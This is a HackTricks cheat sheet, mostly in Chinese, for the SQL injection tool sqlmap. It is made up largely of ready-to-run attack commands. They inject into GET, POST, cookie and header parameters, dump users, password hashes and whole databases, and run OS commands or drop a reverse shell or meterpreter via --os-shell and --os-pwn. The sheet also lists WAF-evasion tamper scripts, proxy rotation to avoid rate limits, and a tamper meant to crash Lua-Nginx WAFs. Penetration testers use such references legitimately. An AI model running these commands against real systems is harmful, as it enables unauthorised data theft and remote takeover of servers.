SQLMap

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

SQLmap 的基本参数

通用

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

技术选项 (--technique)

--technique 参数定义 sqlmap 将尝试的 SQL 注入方法。字符串中的每个字符代表一种方法:

字母方法描述
BBoolean-based blind使用真/假条件推断数据
EError-based利用详尽的 DBMS 错误信息来导出结果
UUNION query注入 UNION SELECT 语句,通过相同通道获取数据
SStacked queries添加由 ; 分隔的额外语句
TTime-based blind依赖延时(SLEEPWAITFOR)来检测注入
QInline / out-of-band使用诸如 LOAD_FILE() 的函数或像 DNS 那样的 OOB 通道

默认顺序为 BEUSTQ。你可以重新排列或限制它们,例如仅按该顺序使用 Boolean 和 Time-based:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

检索信息

内部

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB 数据

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

注入点

来自 Burp/ZAP 捕获

捕获请求并创建一个 req.txt 文件

sqlmap -r req.txt --current-user

GET 请求 Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST 请求 Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections 在 Headers 和其他 HTTP Methods 中

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

二次注入

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

使用 SQLmap 爬取网站并进行 auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

自定义 Injection

设置后缀

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

前缀

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

帮助查找布尔注入

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.py将撇号字符替换为其 UTF-8 全角对应字符
apostrophenullencode.py将撇号字符替换为其非法的双重 Unicode 对应字符
appendnullbyte.py在 payload 末尾追加已编码的 NULL 字节字符
base64encode.py对给定 payload 中的所有字符进行 Base64 编码
between.py将大于操作符 (‘>’) 替换为 ‘NOT BETWEEN 0 AND #’
bluecoat.py在 SQL 语句后的空格字符替换为一个有效的随机空白字符。随后将字符 = 替换为 LIKE 操作符
chardoubleencode.py对给定 payload 中的所有字符进行双重 url 编码(不处理已编码字符)
commalesslimit.py将类似 ‘LIMIT M, N’ 的实例替换为 ‘LIMIT N OFFSET M’
commalessmid.py将类似 ‘MID(A, B, C)’ 的实例替换为 ‘MID(A FROM B FOR C)’
concat2concatws.py将类似 ‘CONCAT(A, B)’ 的实例替换为 ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’
charencode.py对给定 payload 中的所有字符进行 url 编码(不处理已编码字符)
charunicodeencode.py对给定 payload 中未编码的字符进行 Unicode-url 编码(不处理已编码字符)。 “%u0022”
charunicodeescape.py对给定 payload 中未编码的字符进行 Unicode-url 编码(不处理已编码字符)。 “\u0022”
equaltolike.py将所有 occurances of operator equal (‘=’) 替换为 operator ‘LIKE’
escapequotes.py对引号 (’ 和 “) 添加反斜杠转义
greatest.py将大于操作符 (‘>’) 替换为 ‘GREATEST’ 对应
halfversionedmorekeywords.py在每个关键字前添加版本化的 MySQL 注释
ifnull2ifisnull.py将类似 ‘IFNULL(A, B)’ 的实例替换为 ‘IF(ISNULL(A), B, A)’
modsecurityversioned.py用版本化注释包裹完整查询
modsecurityzeroversioned.py用零版本注释包裹完整查询
multiplespaces.py在 SQL 关键字周围添加多个空格
nonrecursivereplacement.py将预定义 SQL 关键字替换为适合替换的表示形式 (e.g. .replace(“SELECT”, “”)) 过滤器
percentage.py在每个字符前添加百分号 (‘%’)
overlongutf8.py将给定 payload 中的所有字符转换为过长的 UTF-8 表示(不处理已编码字符)
randomcase.py将每个关键字字符替换为随机大小写
randomcomments.py向 SQL 关键字添加随机注释
securesphere.py追加特殊构造的字符串
sp_password.py在 payload 末尾追加 ‘sp_password’,以便在 DBMS 日志中自动进行混淆
space2comment.py将空格字符 (’ ’) 替换为注释
space2dash.py将空格字符 (’ ‘) 替换为破折号注释 (’–‘) 后跟一个随机字符串和一个新行 (’\n’)
space2hash.py将空格字符 (’ ‘) 替换为井号字符 (’#‘) 后跟一个随机字符串和一个新行 (’\n’)
space2morehash.py将空格字符 (’ ‘) 替换为井号字符 (’#‘) 后跟一个随机字符串和一个新行 (’\n’)
space2mssqlblank.py将空格字符 (’ ’) 替换为来自一组可用替代字符的随机空白字符
space2mssqlhash.py将空格字符 (’ ‘) 替换为井号字符 (’#‘) 后跟换行符 (’\n’)
space2mysqlblank.py将空格字符 (’ ’) 替换为来自一组可用替代字符的随机空白字符
space2mysqldash.py将空格字符 (’ ‘) 替换为破折号注释 (’–‘) 后跟换行符 (’\n’)
space2plus.py将空格字符 (’ ‘) 替换为加号 (’+’)
space2randomblank.py将空格字符 (’ ’) 替换为来自一组可用替代字符的随机空白字符
symboliclogical.py将 AND 和 OR 逻辑操作符替换为其符号对应 (&& and ||)
unionalltounion.py将 UNION ALL SELECT 替换为 UNION SELECT
unmagicquotes.py将引号字符 (’) 替换为多字节组合 %bf%27 并在末尾添加通用注释(以使其生效)
uppercase.py将每个关键字字符替换为大写形式(例如 ‘INSERT’)
varnish.py追加 HTTP 头 ‘X-originating-IP’
versionedkeywords.py用版本化的 MySQL 注释包围每个非函数关键字
versionedmorekeywords.py用版本化的 MySQL 注释包围每个关键字
xforwardedfor.py追加伪造的 HTTP 头 ‘X-Forwarded-For’
luanginxmore.py仅限 POST 的 tamper,会在你的 payload 前插入数百万个虚拟参数以耗尽 Lua‑Nginx WAF 解析器(例如 Cloudflare)。

luanginxmore 会在你的 payload 之前生成约 4.2M 个随机 POST 参数;仅与 --method=POST 一起使用,并预期巨大的请求大小可能会导致配置不当的 Lua-Nginx WAF 崩溃。

值得启用的最近开关(>=1.9.x)

  • HTTP/2 传输: --http2 强制 sqlmap 使用 HTTP/2(对那些对 HTTP/1.1 限速但放宽 h2 的前端有帮助)。可与 --force-ssl 结合以固定 HTTPS。
  • Proxy rotation: --proxy-file proxies.txt --proxy-freq 3 会在代理列表中轮换,每 3 次请求更换一次代理以避免基于 IP 的限流。
  • Offline / purge 模式: --offline 在不触及目标的情况下重用缓存的会话数据(零网络流量);而 --purge 在完成后安全地擦除 session/output 目录。
  • 移动 UA 模拟: --mobile 提示你伪装成流行智能手机的 User-Agent,适用于对移动客户端暴露额外字段的 API。

参考

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks